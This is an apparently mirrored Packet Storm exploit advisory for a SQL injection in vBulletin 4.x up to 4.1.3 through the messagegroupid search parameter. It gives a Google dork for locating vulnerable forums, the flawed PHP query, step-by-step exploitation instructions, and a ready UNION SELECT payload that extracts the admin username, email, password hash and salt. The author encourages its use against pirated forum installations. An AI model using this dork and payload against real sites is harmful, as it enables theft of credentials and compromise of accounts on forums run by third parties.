Lucene search
K

vBulletin 4.1.3 SQL Injection

🗓️ 21 Jul 2011 00:00:00Reported by FB1H2SType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 15 Views

Vbulletin 4.x.x => 4.1.3 SQL injection Vulnerabilit

Code
`# Exploit Title: Vbulletin 4.0.x => 4.1.3 (messagegroupid) SQL injection Vulnerability 0-day  
# Google Dork: intitle: powered by Vbulletin 4  
# Date: 20/07/2011  
# Author: FB1H2S   
# Software Link: [[url]http://www.vbulletin.com/][/url]  
# Version: [4.x.x]  
# Tested on: [relevant os]  
# CVE : [[url]http://members.vbulletin.com/][/url]  
  
######################################################################################################  
Vulnerability:  
######################################################################################################  
  
Vbulletin 4.x.x => 4.1.3 suffers from an SQL injection Vulnerability in parameter "&messagegroupid" due to improper input validation.  
  
#####################################################################################################  
Vulnerable Code:  
#####################################################################################################  
  
File: /vbforum/search/type/socialgroupmessage.php  
Line No: 388  
Paramater : messagegroupid  
  
  
  
  
if ($registry->GPC_exists['messagegroupid'] AND count($registry->GPC['messagegroupid']) > 0)  
  
{  
  
$value = $registry->GPC['messagegroupid'];  
  
if (!is_array($value))  
  
{  
  
$value = array($value);  
  
}  
  
  
  
if (!(in_array(' ',$value) OR in_array('',$value)))  
  
{  
  
if ($rst = $vbulletin->db->query_read("  
  
SELECT socialgroup.name  
  
FROM " . TABLE_PREFIX."socialgroup AS socialgroup  
  
---> WHERE socialgroup.groupid IN (" . implode(', ', $value) .")")  
  
  
}  
  
  
  
############################################################################################  
Exploitation:  
############################################################################################  
Post data on: -->search.php?search_type=1  
--> Search Single Content Type  
  
Keywords : Valid Group Message  
  
Search Type : Group Messages   
  
Search in Group : Valid Group Id  
  
&messagegroupid[0]=3 ) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1#  
  
##########################################################################################  
More Details:  
##########################################################################################  
Http://www.Garage4Hackers.com  
http://www.garage4hackers.com/showthread.php?1177-Vbulletin-4.0.x-gt-4.1.3-(messagegroupid)-SQL-injection-Vulnerability-0-day  
  
  
###########################################################################################  
Note:  
###########################################################################################  
  
Funny part was that, a similar bug was found in the same module, search query two months back. Any way Vbulletin has released a patch as it was reported to them by altex, hence  
customers are safe except those lowsy Admins. And this bug is for people to play with the many Nulled VB sites out there. " Say No to Piracy Disclosure ".  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation